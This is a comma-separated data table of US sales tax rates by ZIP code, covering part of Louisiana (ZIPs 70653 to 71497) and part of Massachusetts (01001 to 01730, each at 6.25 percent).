US-LA-70653,US,LA,70653,8.75,,,, US-LA-70654,US,LA,70654,8.7,,,, US-LA-70655,US,LA,70655,8.7,,,, US-LA-70656,US,LA,70656,8,,,, US-LA-70657,US,LA,70657,8.75,,,, US-LA-70658,US,LA,70658,8.7,,,, US-LA-70659,US,LA,70659,9.5,,,, US-LA-70660,US,LA,70660,8.75,,,, US-LA-70661,US,LA,70661,9.25,,,, US-LA-70662,US,LA,70662,8.75,,,, US-LA-70663,US,LA,70663,9.25,,,, US-LA-70664,US,LA,70664,9.25,,,, US-LA-70665,US,LA,70665,9.25,,,, US-LA-70668,US,LA,70668,9.25,,,, US-LA-70669,US,LA,70669,9.25,,,, US-LA-70704,US,LA,70704,9.5,,,, US-LA-70706,US,LA,70706,9.5,,,, US-LA-70707,US,LA,70707,8.5,,,, US-LA-70710,US,LA,70710,9,,,, US-LA-70711,US,LA,70711,8,,,, US-LA-70712,US,LA,70712,9,,,, US-LA-70714,US,LA,70714,9.5,,,, US-LA-70715,US,LA,70715,8,,,, US-LA-70718,US,LA,70718,8.5,,,, US-LA-70719,US,LA,70719,9,,,, US-LA-70721,US,LA,70721,9.666,,,, US-LA-70722,US,LA,70722,9,,,, US-LA-70723,US,LA,70723,7.5,,,, US-LA-70725,US,LA,70725,8.5,,,, US-LA-70726,US,LA,70726,8.5,,,, US-LA-70727,US,LA,70727,9.5,,,, US-LA-70728,US,LA,70728,8.5,,,, US-LA-70729,US,LA,70729,9,,,, US-LA-70730,US,LA,70730,9,,,, US-LA-70732,US,LA,70732,9,,,, US-LA-70733,US,LA,70733,8,,,, US-LA-70734,US,LA,70734,8.5,,,, US-LA-70736,US,LA,70736,8,,,, US-LA-70737,US,LA,70737,8.5,,,, US-LA-70738,US,LA,70738,8.5,,,, US-LA-70739,US,LA,70739,9.5,,,, US-LA-70740,US,LA,70740,9,,,, US-LA-70743,US,LA,70743,7.5,,,, US-LA-70744,US,LA,70744,8,,,, US-LA-70747,US,LA,70747,8,,,, US-LA-70748,US,LA,70748,9,,,, US-LA-70749,US,LA,70749,8,,,, US-LA-70750,US,LA,70750,7.55,,,, US-LA-70752,US,LA,70752,8,,,, US-LA-70753,US,LA,70753,8,,,, US-LA-70754,US,LA,70754,8,,,, US-LA-70755,US,LA,70755,9,,,, US-LA-70756,US,LA,70756,8,,,, US-LA-70757,US,LA,70757,9,,,, US-LA-70759,US,LA,70759,8,,,, US-LA-70760,US,LA,70760,9,,,, US-LA-70761,US,LA,70761,9,,,, US-LA-70762,US,LA,70762,8,,,, US-LA-70763,US,LA,70763,7.5,,,, US-LA-70764,US,LA,70764,9,,,, US-LA-70765,US,LA,70765,9,,,, US-LA-70767,US,LA,70767,9,,,, US-LA-70769,US,LA,70769,8.5,,,, US-LA-70770,US,LA,70770,9,,,, US-LA-70772,US,LA,70772,9,,,, US-LA-70773,US,LA,70773,8,,,, US-LA-70774,US,LA,70774,8.5,,,, US-LA-70775,US,LA,70775,9,,,, US-LA-70776,US,LA,70776,9.666,,,, US-LA-70777,US,LA,70777,9,,,, US-LA-70778,US,LA,70778,8.5,,,, US-LA-70780,US,LA,70780,9.666,,,, US-LA-70782,US,LA,70782,9,,,, US-LA-70783,US,LA,70783,8,,,, US-LA-70784,US,LA,70784,9,,,, US-LA-70785,US,LA,70785,9.5,,,, US-LA-70786,US,LA,70786,9.5,,,, US-LA-70787,US,LA,70787,9,,,, US-LA-70788,US,LA,70788,9,,,, US-LA-70789,US,LA,70789,9,,,, US-LA-70791,US,LA,70791,9,,,, US-LA-70792,US,LA,70792,7.5,,,, US-LA-70801,US,LA,70801,9,,,, US-LA-70802,US,LA,70802,9,,,, US-LA-70804,US,LA,70804,9,,,, US-LA-70805,US,LA,70805,9,,,, US-LA-70806,US,LA,70806,9,,,, US-LA-70807,US,LA,70807,9,,,, US-LA-70808,US,LA,70808,9,,,, US-LA-70809,US,LA,70809,9,,,, US-LA-70810,US,LA,70810,9,,,, US-LA-70811,US,LA,70811,9,,,, US-LA-70812,US,LA,70812,9,,,, US-LA-70813,US,LA,70813,9,,,, US-LA-70814,US,LA,70814,9,,,, US-LA-70815,US,LA,70815,9,,,, US-LA-70816,US,LA,70816,9,,,, US-LA-70817,US,LA,70817,9,,,, US-LA-70818,US,LA,70818,9.5,,,, US-LA-70819,US,LA,70819,9,,,, US-LA-70820,US,LA,70820,9,,,, US-LA-70821,US,LA,70821,9,,,, US-LA-70822,US,LA,70822,9,,,, US-LA-70823,US,LA,70823,9,,,, US-LA-70825,US,LA,70825,9,,,, US-LA-70826,US,LA,70826,9,,,, US-LA-70827,US,LA,70827,9,,,, US-LA-70831,US,LA,70831,9,,,, US-LA-70833,US,LA,70833,9,,,, US-LA-70835,US,LA,70835,9,,,, US-LA-70836,US,LA,70836,9,,,, US-LA-70837,US,LA,70837,9.5,,,, US-LA-70873,US,LA,70873,9,,,, US-LA-70874,US,LA,70874,9,,,, US-LA-70879,US,LA,70879,9,,,, US-LA-70884,US,LA,70884,9,,,, US-LA-70891,US,LA,70891,9,,,, US-LA-70892,US,LA,70892,9,,,, US-LA-70893,US,LA,70893,9,,,, US-LA-70895,US,LA,70895,9,,,, US-LA-70896,US,LA,70896,9,,,, US-LA-70898,US,LA,70898,9,,,, US-LA-71001,US,LA,71001,9.5,,,, US-LA-71002,US,LA,71002,7.5,,,, US-LA-71003,US,LA,71003,7.125,,,, US-LA-71004,US,LA,71004,8.35,,,, US-LA-71006,US,LA,71006,8.25,,,, US-LA-71007,US,LA,71007,7.35,,,, US-LA-71008,US,LA,71008,7,,,, US-LA-71009,US,LA,71009,8.35,,,, US-LA-71016,US,LA,71016,7,,,, US-LA-71018,US,LA,71018,7,,,, US-LA-71019,US,LA,71019,8.5,,,, US-LA-71021,US,LA,71021,9.5,,,, US-LA-71023,US,LA,71023,7,,,, US-LA-71024,US,LA,71024,7,,,, US-LA-71027,US,LA,71027,8,,,, US-LA-71028,US,LA,71028,7,,,, US-LA-71029,US,LA,71029,8.35,,,, US-LA-71030,US,LA,71030,8,,,, US-LA-71031,US,LA,71031,7.5,,,, US-LA-71032,US,LA,71032,8,,,, US-LA-71033,US,LA,71033,8.35,,,, US-LA-71034,US,LA,71034,9.5,,,, US-LA-71037,US,LA,71037,8.25,,,, US-LA-71038,US,LA,71038,7.125,,,, US-LA-71039,US,LA,71039,7,,,, US-LA-71040,US,LA,71040,7.125,,,, US-LA-71043,US,LA,71043,8.35,,,, US-LA-71044,US,LA,71044,8.35,,,, US-LA-71045,US,LA,71045,7,,,, US-LA-71046,US,LA,71046,8,,,, US-LA-71047,US,LA,71047,7.35,,,, US-LA-71048,US,LA,71048,7.125,,,, US-LA-71049,US,LA,71049,8,,,, US-LA-71050,US,LA,71050,9,,,, US-LA-71051,US,LA,71051,8.25,,,, US-LA-71052,US,LA,71052,8,,,, US-LA-71055,US,LA,71055,9.5,,,, US-LA-71058,US,LA,71058,9.5,,,, US-LA-71060,US,LA,71060,8.35,,,, US-LA-71061,US,LA,71061,8.35,,,, US-LA-71063,US,LA,71063,8,,,, US-LA-71064,US,LA,71064,8.25,,,, US-LA-71065,US,LA,71065,8.625,,,, US-LA-71066,US,LA,71066,7.5,,,, US-LA-71067,US,LA,71067,8.25,,,, US-LA-71068,US,LA,71068,7,,,, US-LA-71069,US,LA,71069,8.35,,,, US-LA-71070,US,LA,71070,7.5,,,, US-LA-71071,US,LA,71071,7,,,, US-LA-71072,US,LA,71072,7,,,, US-LA-71073,US,LA,71073,7,,,, US-LA-71075,US,LA,71075,9.5,,,, US-LA-71078,US,LA,71078,8,,,, US-LA-71079,US,LA,71079,7.125,,,, US-LA-71080,US,LA,71080,7,,,, US-LA-71082,US,LA,71082,9.35,,,, US-LA-71101,US,LA,71101,8.6,,,, US-LA-71102,US,LA,71102,8.6,,,, US-LA-71103,US,LA,71103,8.6,,,, US-LA-71104,US,LA,71104,8.6,,,, US-LA-71105,US,LA,71105,8.6,,,, US-LA-71106,US,LA,71106,8.6,,,, US-LA-71107,US,LA,71107,7.35,,,, US-LA-71108,US,LA,71108,8.6,,,, US-LA-71109,US,LA,71109,8.6,,,, US-LA-71110,US,LA,71110,8.25,,,, US-LA-71111,US,LA,71111,9,,,, US-LA-71112,US,LA,71112,9,,,, US-LA-71113,US,LA,71113,9,,,, US-LA-71115,US,LA,71115,8.6,,,, US-LA-71118,US,LA,71118,8.6,,,, US-LA-71119,US,LA,71119,8.6,,,, US-LA-71120,US,LA,71120,8.6,,,, US-LA-71129,US,LA,71129,8.6,,,, US-LA-71130,US,LA,71130,8.6,,,, US-LA-71133,US,LA,71133,8.6,,,, US-LA-71134,US,LA,71134,8.6,,,, US-LA-71135,US,LA,71135,8.6,,,, US-LA-71136,US,LA,71136,8.6,,,, US-LA-71137,US,LA,71137,9.25,,,, US-LA-71138,US,LA,71138,8.6,,,, US-LA-71148,US,LA,71148,8.6,,,, US-LA-71149,US,LA,71149,8.6,,,, US-LA-71150,US,LA,71150,8.6,,,, US-LA-71151,US,LA,71151,8.6,,,, US-LA-71152,US,LA,71152,8.6,,,, US-LA-71153,US,LA,71153,8.6,,,, US-LA-71154,US,LA,71154,8.6,,,, US-LA-71156,US,LA,71156,8.6,,,, US-LA-71161,US,LA,71161,8.6,,,, US-LA-71162,US,LA,71162,8.6,,,, US-LA-71163,US,LA,71163,8.6,,,, US-LA-71164,US,LA,71164,8.6,,,, US-LA-71165,US,LA,71165,8.6,,,, US-LA-71166,US,LA,71166,8.6,,,, US-LA-71171,US,LA,71171,9,,,, US-LA-71172,US,LA,71172,9,,,, US-LA-71201,US,LA,71201,9.99,,,, US-LA-71202,US,LA,71202,9.99,,,, US-LA-71203,US,LA,71203,8.6,,,, US-LA-71207,US,LA,71207,9.99,,,, US-LA-71209,US,LA,71209,9.99,,,, US-LA-71210,US,LA,71210,9.99,,,, US-LA-71211,US,LA,71211,9.99,,,, US-LA-71212,US,LA,71212,9.99,,,, US-LA-71213,US,LA,71213,9.99,,,, US-LA-71217,US,LA,71217,9.99,,,, US-LA-71218,US,LA,71218,8,,,, US-LA-71219,US,LA,71219,8,,,, US-LA-71220,US,LA,71220,8,,,, US-LA-71221,US,LA,71221,10,,,, US-LA-71222,US,LA,71222,8,,,, US-LA-71223,US,LA,71223,8,,,, US-LA-71225,US,LA,71225,9.6,,,, US-LA-71226,US,LA,71226,8,,,, US-LA-71227,US,LA,71227,7.25,,,, US-LA-71229,US,LA,71229,8,,,, US-LA-71230,US,LA,71230,8,,,, US-LA-71232,US,LA,71232,9.5,,,, US-LA-71233,US,LA,71233,8.5,,,, US-LA-71234,US,LA,71234,8,,,, US-LA-71235,US,LA,71235,7.25,,,, US-LA-71237,US,LA,71237,9,,,, US-LA-71238,US,LA,71238,9.6,,,, US-LA-71240,US,LA,71240,8.6,,,, US-LA-71241,US,LA,71241,8,,,, US-LA-71242,US,LA,71242,9,,,, US-LA-71243,US,LA,71243,8,,,, US-LA-71245,US,LA,71245,9,,,, US-LA-71247,US,LA,71247,9,,,, US-LA-71249,US,LA,71249,8,,,, US-LA-71250,US,LA,71250,8,,,, US-LA-71251,US,LA,71251,8,,,, US-LA-71253,US,LA,71253,10,,,, US-LA-71254,US,LA,71254,11,,,, US-LA-71256,US,LA,71256,8,,,, US-LA-71259,US,LA,71259,8,,,, US-LA-71260,US,LA,71260,8,,,, US-LA-71261,US,LA,71261,8,,,, US-LA-71263,US,LA,71263,9,,,, US-LA-71264,US,LA,71264,8,,,, US-LA-71266,US,LA,71266,9,,,, US-LA-71268,US,LA,71268,8,,,, US-LA-71269,US,LA,71269,8,,,, US-LA-71270,US,LA,71270,8.75,,,, US-LA-71272,US,LA,71272,8.75,,,, US-LA-71273,US,LA,71273,8.75,,,, US-LA-71275,US,LA,71275,7.25,,,, US-LA-71276,US,LA,71276,9,,,, US-LA-71277,US,LA,71277,8,,,, US-LA-71279,US,LA,71279,8,,,, US-LA-71280,US,LA,71280,8,,,, US-LA-71281,US,LA,71281,8.6,,,, US-LA-71282,US,LA,71282,9.5,,,, US-LA-71284,US,LA,71284,9.5,,,, US-LA-71286,US,LA,71286,9,,,, US-LA-71291,US,LA,71291,9.6,,,, US-LA-71292,US,LA,71292,9.6,,,, US-LA-71294,US,LA,71294,9.5,,,, US-LA-71295,US,LA,71295,8,,,, US-LA-71301,US,LA,71301,9,,,, US-LA-71302,US,LA,71302,9,,,, US-LA-71303,US,LA,71303,9,,,, US-LA-71306,US,LA,71306,9,,,, US-LA-71307,US,LA,71307,9,,,, US-LA-71309,US,LA,71309,9,,,, US-LA-71315,US,LA,71315,9,,,, US-LA-71316,US,LA,71316,8.75,,,, US-LA-71320,US,LA,71320,7.25,,,, US-LA-71322,US,LA,71322,9.25,,,, US-LA-71323,US,LA,71323,7.25,,,, US-LA-71324,US,LA,71324,8,,,, US-LA-71325,US,LA,71325,7,,,, US-LA-71326,US,LA,71326,8.75,,,, US-LA-71327,US,LA,71327,7.25,,,, US-LA-71328,US,LA,71328,7,,,, US-LA-71329,US,LA,71329,7.25,,,, US-LA-71330,US,LA,71330,7,,,, US-LA-71331,US,LA,71331,7.25,,,, US-LA-71333,US,LA,71333,7.25,,,, US-LA-71334,US,LA,71334,8.75,,,, US-LA-71336,US,LA,71336,8,,,, US-LA-71339,US,LA,71339,7.25,,,, US-LA-71340,US,LA,71340,10,,,, US-LA-71341,US,LA,71341,7.25,,,, US-LA-71342,US,LA,71342,7.5,,,, US-LA-71343,US,LA,71343,10,,,, US-LA-71345,US,LA,71345,7.55,,,, US-LA-71346,US,LA,71346,7,,,, US-LA-71348,US,LA,71348,7,,,, US-LA-71350,US,LA,71350,7.25,,,, US-LA-71351,US,LA,71351,7.25,,,, US-LA-71353,US,LA,71353,7.55,,,, US-LA-71354,US,LA,71354,8.75,,,, US-LA-71355,US,LA,71355,7.25,,,, US-LA-71356,US,LA,71356,7.55,,,, US-LA-71357,US,LA,71357,9.25,,,, US-LA-71358,US,LA,71358,7.55,,,, US-LA-71359,US,LA,71359,9,,,, US-LA-71360,US,LA,71360,7,,,, US-LA-71361,US,LA,71361,9,,,, US-LA-71362,US,LA,71362,7.25,,,, US-LA-71363,US,LA,71363,10,,,, US-LA-71365,US,LA,71365,7.25,,,, US-LA-71366,US,LA,71366,10.25,,,, US-LA-71367,US,LA,71367,9,,,, US-LA-71368,US,LA,71368,10,,,, US-LA-71369,US,LA,71369,7.25,,,, US-LA-71371,US,LA,71371,7.5,,,, US-LA-71373,US,LA,71373,8.75,,,, US-LA-71375,US,LA,71375,9.25,,,, US-LA-71377,US,LA,71377,10,,,, US-LA-71378,US,LA,71378,8,,,, US-LA-71401,US,LA,71401,10,,,, US-LA-71403,US,LA,71403,8,,,, US-LA-71404,US,LA,71404,7,,,, US-LA-71405,US,LA,71405,9,,,, US-LA-71406,US,LA,71406,8.625,,,, US-LA-71407,US,LA,71407,8,,,, US-LA-71409,US,LA,71409,7,,,, US-LA-71410,US,LA,71410,7,,,, US-LA-71411,US,LA,71411,7.5,,,, US-LA-71414,US,LA,71414,8.5,,,, US-LA-71415,US,LA,71415,9,,,, US-LA-71416,US,LA,71416,7.5,,,, US-LA-71417,US,LA,71417,8,,,, US-LA-71418,US,LA,71418,9,,,, US-LA-71419,US,LA,71419,8.625,,,, US-LA-71422,US,LA,71422,7,,,, US-LA-71423,US,LA,71423,8,,,, US-LA-71424,US,LA,71424,7,,,, US-LA-71425,US,LA,71425,10,,,, US-LA-71426,US,LA,71426,8.625,,,, US-LA-71427,US,LA,71427,7,,,, US-LA-71428,US,LA,71428,7.5,,,, US-LA-71429,US,LA,71429,8.625,,,, US-LA-71430,US,LA,71430,7,,,, US-LA-71431,US,LA,71431,8,,,, US-LA-71432,US,LA,71432,8,,,, US-LA-71433,US,LA,71433,7,,,, US-LA-71434,US,LA,71434,7.5,,,, US-LA-71435,US,LA,71435,9,,,, US-LA-71438,US,LA,71438,8,,,, US-LA-71439,US,LA,71439,8,,,, US-LA-71440,US,LA,71440,7,,,, US-LA-71441,US,LA,71441,9,,,, US-LA-71443,US,LA,71443,9.5,,,, US-LA-71446,US,LA,71446,8,,,, US-LA-71447,US,LA,71447,7,,,, US-LA-71448,US,LA,71448,7,,,, US-LA-71449,US,LA,71449,8.625,,,, US-LA-71450,US,LA,71450,7.5,,,, US-LA-71452,US,LA,71452,7.5,,,, US-LA-71454,US,LA,71454,8,,,, US-LA-71455,US,LA,71455,7,,,, US-LA-71456,US,LA,71456,7.5,,,, US-LA-71457,US,LA,71457,9,,,, US-LA-71458,US,LA,71458,9,,,, US-LA-71459,US,LA,71459,8,,,, US-LA-71460,US,LA,71460,8.625,,,, US-LA-71461,US,LA,71461,9.5,,,, US-LA-71462,US,LA,71462,8.625,,,, US-LA-71463,US,LA,71463,10,,,, US-LA-71465,US,LA,71465,7.5,,,, US-LA-71466,US,LA,71466,7,,,, US-LA-71467,US,LA,71467,8,,,, US-LA-71468,US,LA,71468,7.5,,,, US-LA-71469,US,LA,71469,7.5,,,, US-LA-71471,US,LA,71471,8.5,,,, US-LA-71472,US,LA,71472,7,,,, US-LA-71473,US,LA,71473,7,,,, US-LA-71474,US,LA,71474,8,,,, US-LA-71475,US,LA,71475,8,,,, US-LA-71477,US,LA,71477,7,,,, US-LA-71479,US,LA,71479,7.5,,,, US-LA-71480,US,LA,71480,7.5,,,, US-LA-71483,US,LA,71483,8.5,,,, US-LA-71485,US,LA,71485,9,,,, US-LA-71486,US,LA,71486,8.625,,,, US-LA-71496,US,LA,71496,9.5,,,, US-LA-71497,US,LA,71497,9,,,, US-MA-01001,US,MA,01001,6.25,,,, US-MA-01002,US,MA,01002,6.25,,,, US-MA-01003,US,MA,01003,6.25,,,, US-MA-01004,US,MA,01004,6.25,,,, US-MA-01005,US,MA,01005,6.25,,,, US-MA-01007,US,MA,01007,6.25,,,, US-MA-01008,US,MA,01008,6.25,,,, US-MA-01009,US,MA,01009,6.25,,,, US-MA-01010,US,MA,01010,6.25,,,, US-MA-01011,US,MA,01011,6.25,,,, US-MA-01012,US,MA,01012,6.25,,,, US-MA-01013,US,MA,01013,6.25,,,, US-MA-01014,US,MA,01014,6.25,,,, US-MA-01020,US,MA,01020,6.25,,,, US-MA-01021,US,MA,01021,6.25,,,, US-MA-01022,US,MA,01022,6.25,,,, US-MA-01026,US,MA,01026,6.25,,,, US-MA-01027,US,MA,01027,6.25,,,, US-MA-01028,US,MA,01028,6.25,,,, US-MA-01029,US,MA,01029,6.25,,,, US-MA-01030,US,MA,01030,6.25,,,, US-MA-01031,US,MA,01031,6.25,,,, US-MA-01032,US,MA,01032,6.25,,,, US-MA-01033,US,MA,01033,6.25,,,, US-MA-01034,US,MA,01034,6.25,,,, US-MA-01035,US,MA,01035,6.25,,,, US-MA-01036,US,MA,01036,6.25,,,, US-MA-01037,US,MA,01037,6.25,,,, US-MA-01038,US,MA,01038,6.25,,,, US-MA-01039,US,MA,01039,6.25,,,, US-MA-01040,US,MA,01040,6.25,,,, US-MA-01041,US,MA,01041,6.25,,,, US-MA-01050,US,MA,01050,6.25,,,, US-MA-01053,US,MA,01053,6.25,,,, US-MA-01054,US,MA,01054,6.25,,,, US-MA-01056,US,MA,01056,6.25,,,, US-MA-01057,US,MA,01057,6.25,,,, US-MA-01059,US,MA,01059,6.25,,,, US-MA-01060,US,MA,01060,6.25,,,, US-MA-01061,US,MA,01061,6.25,,,, US-MA-01062,US,MA,01062,6.25,,,, US-MA-01063,US,MA,01063,6.25,,,, US-MA-01066,US,MA,01066,6.25,,,, US-MA-01068,US,MA,01068,6.25,,,, US-MA-01069,US,MA,01069,6.25,,,, US-MA-01070,US,MA,01070,6.25,,,, US-MA-01071,US,MA,01071,6.25,,,, US-MA-01072,US,MA,01072,6.25,,,, US-MA-01073,US,MA,01073,6.25,,,, US-MA-01074,US,MA,01074,6.25,,,, US-MA-01075,US,MA,01075,6.25,,,, US-MA-01077,US,MA,01077,6.25,,,, US-MA-01079,US,MA,01079,6.25,,,, US-MA-01080,US,MA,01080,6.25,,,, US-MA-01081,US,MA,01081,6.25,,,, US-MA-01082,US,MA,01082,6.25,,,, US-MA-01083,US,MA,01083,6.25,,,, US-MA-01084,US,MA,01084,6.25,,,, US-MA-01085,US,MA,01085,6.25,,,, US-MA-01086,US,MA,01086,6.25,,,, US-MA-01088,US,MA,01088,6.25,,,, US-MA-01089,US,MA,01089,6.25,,,, US-MA-01090,US,MA,01090,6.25,,,, US-MA-01092,US,MA,01092,6.25,,,, US-MA-01093,US,MA,01093,6.25,,,, US-MA-01094,US,MA,01094,6.25,,,, US-MA-01095,US,MA,01095,6.25,,,, US-MA-01096,US,MA,01096,6.25,,,, US-MA-01097,US,MA,01097,6.25,,,, US-MA-01098,US,MA,01098,6.25,,,, US-MA-01101,US,MA,01101,6.25,,,, US-MA-01102,US,MA,01102,6.25,,,, US-MA-01103,US,MA,01103,6.25,,,, US-MA-01104,US,MA,01104,6.25,,,, US-MA-01105,US,MA,01105,6.25,,,, US-MA-01106,US,MA,01106,6.25,,,, US-MA-01107,US,MA,01107,6.25,,,, US-MA-01108,US,MA,01108,6.25,,,, US-MA-01109,US,MA,01109,6.25,,,, US-MA-01111,US,MA,01111,6.25,,,, US-MA-01115,US,MA,01115,6.25,,,, US-MA-01116,US,MA,01116,6.25,,,, US-MA-01118,US,MA,01118,6.25,,,, US-MA-01119,US,MA,01119,6.25,,,, US-MA-01128,US,MA,01128,6.25,,,, US-MA-01129,US,MA,01129,6.25,,,, US-MA-01138,US,MA,01138,6.25,,,, US-MA-01139,US,MA,01139,6.25,,,, US-MA-01144,US,MA,01144,6.25,,,, US-MA-01151,US,MA,01151,6.25,,,, US-MA-01152,US,MA,01152,6.25,,,, US-MA-01199,US,MA,01199,6.25,,,, US-MA-01201,US,MA,01201,6.25,,,, US-MA-01202,US,MA,01202,6.25,,,, US-MA-01203,US,MA,01203,6.25,,,, US-MA-01220,US,MA,01220,6.25,,,, US-MA-01222,US,MA,01222,6.25,,,, US-MA-01223,US,MA,01223,6.25,,,, US-MA-01224,US,MA,01224,6.25,,,, US-MA-01225,US,MA,01225,6.25,,,, US-MA-01226,US,MA,01226,6.25,,,, US-MA-01227,US,MA,01227,6.25,,,, US-MA-01229,US,MA,01229,6.25,,,, US-MA-01230,US,MA,01230,6.25,,,, US-MA-01235,US,MA,01235,6.25,,,, US-MA-01236,US,MA,01236,6.25,,,, US-MA-01237,US,MA,01237,6.25,,,, US-MA-01238,US,MA,01238,6.25,,,, US-MA-01240,US,MA,01240,6.25,,,, US-MA-01242,US,MA,01242,6.25,,,, US-MA-01243,US,MA,01243,6.25,,,, US-MA-01244,US,MA,01244,6.25,,,, US-MA-01245,US,MA,01245,6.25,,,, US-MA-01247,US,MA,01247,6.25,,,, US-MA-01252,US,MA,01252,6.25,,,, US-MA-01253,US,MA,01253,6.25,,,, US-MA-01254,US,MA,01254,6.25,,,, US-MA-01255,US,MA,01255,6.25,,,, US-MA-01256,US,MA,01256,6.25,,,, US-MA-01257,US,MA,01257,6.25,,,, US-MA-01258,US,MA,01258,6.25,,,, US-MA-01259,US,MA,01259,6.25,,,, US-MA-01260,US,MA,01260,6.25,,,, US-MA-01262,US,MA,01262,6.25,,,, US-MA-01263,US,MA,01263,6.25,,,, US-MA-01264,US,MA,01264,6.25,,,, US-MA-01266,US,MA,01266,6.25,,,, US-MA-01267,US,MA,01267,6.25,,,, US-MA-01270,US,MA,01270,6.25,,,, US-MA-01301,US,MA,01301,6.25,,,, US-MA-01302,US,MA,01302,6.25,,,, US-MA-01330,US,MA,01330,6.25,,,, US-MA-01331,US,MA,01331,6.25,,,, US-MA-01337,US,MA,01337,6.25,,,, US-MA-01338,US,MA,01338,6.25,,,, US-MA-01339,US,MA,01339,6.25,,,, US-MA-01340,US,MA,01340,6.25,,,, US-MA-01341,US,MA,01341,6.25,,,, US-MA-01342,US,MA,01342,6.25,,,, US-MA-01343,US,MA,01343,6.25,,,, US-MA-01344,US,MA,01344,6.25,,,, US-MA-01346,US,MA,01346,6.25,,,, US-MA-01347,US,MA,01347,6.25,,,, US-MA-01349,US,MA,01349,6.25,,,, US-MA-01350,US,MA,01350,6.25,,,, US-MA-01351,US,MA,01351,6.25,,,, US-MA-01354,US,MA,01354,6.25,,,, US-MA-01355,US,MA,01355,6.25,,,, US-MA-01360,US,MA,01360,6.25,,,, US-MA-01364,US,MA,01364,6.25,,,, US-MA-01366,US,MA,01366,6.25,,,, US-MA-01367,US,MA,01367,6.25,,,, US-MA-01368,US,MA,01368,6.25,,,, US-MA-01370,US,MA,01370,6.25,,,, US-MA-01373,US,MA,01373,6.25,,,, US-MA-01375,US,MA,01375,6.25,,,, US-MA-01376,US,MA,01376,6.25,,,, US-MA-01378,US,MA,01378,6.25,,,, US-MA-01379,US,MA,01379,6.25,,,, US-MA-01380,US,MA,01380,6.25,,,, US-MA-01420,US,MA,01420,6.25,,,, US-MA-01430,US,MA,01430,6.25,,,, US-MA-01431,US,MA,01431,6.25,,,, US-MA-01432,US,MA,01432,6.25,,,, US-MA-01434,US,MA,01434,6.25,,,, US-MA-01436,US,MA,01436,6.25,,,, US-MA-01438,US,MA,01438,6.25,,,, US-MA-01440,US,MA,01440,6.25,,,, US-MA-01441,US,MA,01441,6.25,,,, US-MA-01450,US,MA,01450,6.25,,,, US-MA-01451,US,MA,01451,6.25,,,, US-MA-01452,US,MA,01452,6.25,,,, US-MA-01453,US,MA,01453,6.25,,,, US-MA-01460,US,MA,01460,6.25,,,, US-MA-01462,US,MA,01462,6.25,,,, US-MA-01463,US,MA,01463,6.25,,,, US-MA-01464,US,MA,01464,6.25,,,, US-MA-01467,US,MA,01467,6.25,,,, US-MA-01468,US,MA,01468,6.25,,,, US-MA-01469,US,MA,01469,6.25,,,, US-MA-01470,US,MA,01470,6.25,,,, US-MA-01471,US,MA,01471,6.25,,,, US-MA-01472,US,MA,01472,6.25,,,, US-MA-01473,US,MA,01473,6.25,,,, US-MA-01474,US,MA,01474,6.25,,,, US-MA-01475,US,MA,01475,6.25,,,, US-MA-01477,US,MA,01477,6.25,,,, US-MA-01501,US,MA,01501,6.25,,,, US-MA-01503,US,MA,01503,6.25,,,, US-MA-01504,US,MA,01504,6.25,,,, US-MA-01505,US,MA,01505,6.25,,,, US-MA-01506,US,MA,01506,6.25,,,, US-MA-01507,US,MA,01507,6.25,,,, US-MA-01508,US,MA,01508,6.25,,,, US-MA-01509,US,MA,01509,6.25,,,, US-MA-01510,US,MA,01510,6.25,,,, US-MA-01515,US,MA,01515,6.25,,,, US-MA-01516,US,MA,01516,6.25,,,, US-MA-01517,US,MA,01517,6.25,,,, US-MA-01518,US,MA,01518,6.25,,,, US-MA-01519,US,MA,01519,6.25,,,, US-MA-01520,US,MA,01520,6.25,,,, US-MA-01521,US,MA,01521,6.25,,,, US-MA-01522,US,MA,01522,6.25,,,, US-MA-01523,US,MA,01523,6.25,,,, US-MA-01524,US,MA,01524,6.25,,,, US-MA-01525,US,MA,01525,6.25,,,, US-MA-01526,US,MA,01526,6.25,,,, US-MA-01527,US,MA,01527,6.25,,,, US-MA-01529,US,MA,01529,6.25,,,, US-MA-01531,US,MA,01531,6.25,,,, US-MA-01532,US,MA,01532,6.25,,,, US-MA-01534,US,MA,01534,6.25,,,, US-MA-01535,US,MA,01535,6.25,,,, US-MA-01536,US,MA,01536,6.25,,,, US-MA-01537,US,MA,01537,6.25,,,, US-MA-01538,US,MA,01538,6.25,,,, US-MA-01540,US,MA,01540,6.25,,,, US-MA-01541,US,MA,01541,6.25,,,, US-MA-01542,US,MA,01542,6.25,,,, US-MA-01543,US,MA,01543,6.25,,,, US-MA-01545,US,MA,01545,6.25,,,, US-MA-01546,US,MA,01546,6.25,,,, US-MA-01550,US,MA,01550,6.25,,,, US-MA-01560,US,MA,01560,6.25,,,, US-MA-01561,US,MA,01561,6.25,,,, US-MA-01562,US,MA,01562,6.25,,,, US-MA-01564,US,MA,01564,6.25,,,, US-MA-01566,US,MA,01566,6.25,,,, US-MA-01568,US,MA,01568,6.25,,,, US-MA-01569,US,MA,01569,6.25,,,, US-MA-01570,US,MA,01570,6.25,,,, US-MA-01571,US,MA,01571,6.25,,,, US-MA-01581,US,MA,01581,6.25,,,, US-MA-01583,US,MA,01583,6.25,,,, US-MA-01585,US,MA,01585,6.25,,,, US-MA-01586,US,MA,01586,6.25,,,, US-MA-01588,US,MA,01588,6.25,,,, US-MA-01590,US,MA,01590,6.25,,,, US-MA-01601,US,MA,01601,6.25,,,, US-MA-01602,US,MA,01602,6.25,,,, US-MA-01603,US,MA,01603,6.25,,,, US-MA-01604,US,MA,01604,6.25,,,, US-MA-01605,US,MA,01605,6.25,,,, US-MA-01606,US,MA,01606,6.25,,,, US-MA-01607,US,MA,01607,6.25,,,, US-MA-01608,US,MA,01608,6.25,,,, US-MA-01609,US,MA,01609,6.25,,,, US-MA-01610,US,MA,01610,6.25,,,, US-MA-01611,US,MA,01611,6.25,,,, US-MA-01612,US,MA,01612,6.25,,,, US-MA-01613,US,MA,01613,6.25,,,, US-MA-01614,US,MA,01614,6.25,,,, US-MA-01615,US,MA,01615,6.25,,,, US-MA-01653,US,MA,01653,6.25,,,, US-MA-01654,US,MA,01654,6.25,,,, US-MA-01655,US,MA,01655,6.25,,,, US-MA-01701,US,MA,01701,6.25,,,, US-MA-01702,US,MA,01702,6.25,,,, US-MA-01703,US,MA,01703,6.25,,,, US-MA-01704,US,MA,01704,6.25,,,, US-MA-01705,US,MA,01705,6.25,,,, US-MA-01718,US,MA,01718,6.25,,,, US-MA-01719,US,MA,01719,6.25,,,, US-MA-01720,US,MA,01720,6.25,,,, US-MA-01721,US,MA,01721,6.25,,,, US-MA-01730,US,MA,01730,6.25,,,, 